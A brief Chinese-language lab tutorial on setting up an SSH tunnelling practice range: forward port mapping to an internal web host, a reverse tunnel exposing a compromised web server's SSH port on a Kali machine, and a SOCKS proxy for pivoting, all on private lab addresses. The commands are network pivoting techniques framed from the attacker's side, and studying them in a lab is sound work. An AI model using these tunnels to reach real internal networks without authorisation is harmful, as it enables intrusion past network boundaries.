SSH隧道靶场搭建
靶场拓扑图:
ssh连接方式
正向连接
WEB服务器执行
7777端口映射到192.168.183.131:80
ssh -CNfL 0.0.0.0:7777:192.168.183.131:80
root@127.0.0.1
备注:
root@127.0.0.1 是web服务器上的用户,
映射完成。
攻击者浏览器访问
curl http://192.168.91.125:7777/1.html
访问的是内网中的192.168.183.131:80
关闭正向连接:
netstat -antup |grep 7777
得到pid
kill -9 pid
反向连接
ssh -qTfnN -R port:host:hostport remote_ip
在web服务器上做反向连接,
在kali上开启2222端口,将2222端口的数据转发到web服务器上的22端口。
ssh -qTfnN -R 2222:127.0.0.1:22
root@192.168.91.170
kali中输入
ssh -p 2222
root@127.0.0.1
可以连入了web服务器上
curl http://192.168.183.131/1.html
ssh sockets代理
ssh -CfNg -D port remotehost
web服务器上
ssh -CfNg -D 7000
root@192.168.91.125
root@192.168.91.125 web服务器
在kali的浏览器上开启代理
结果: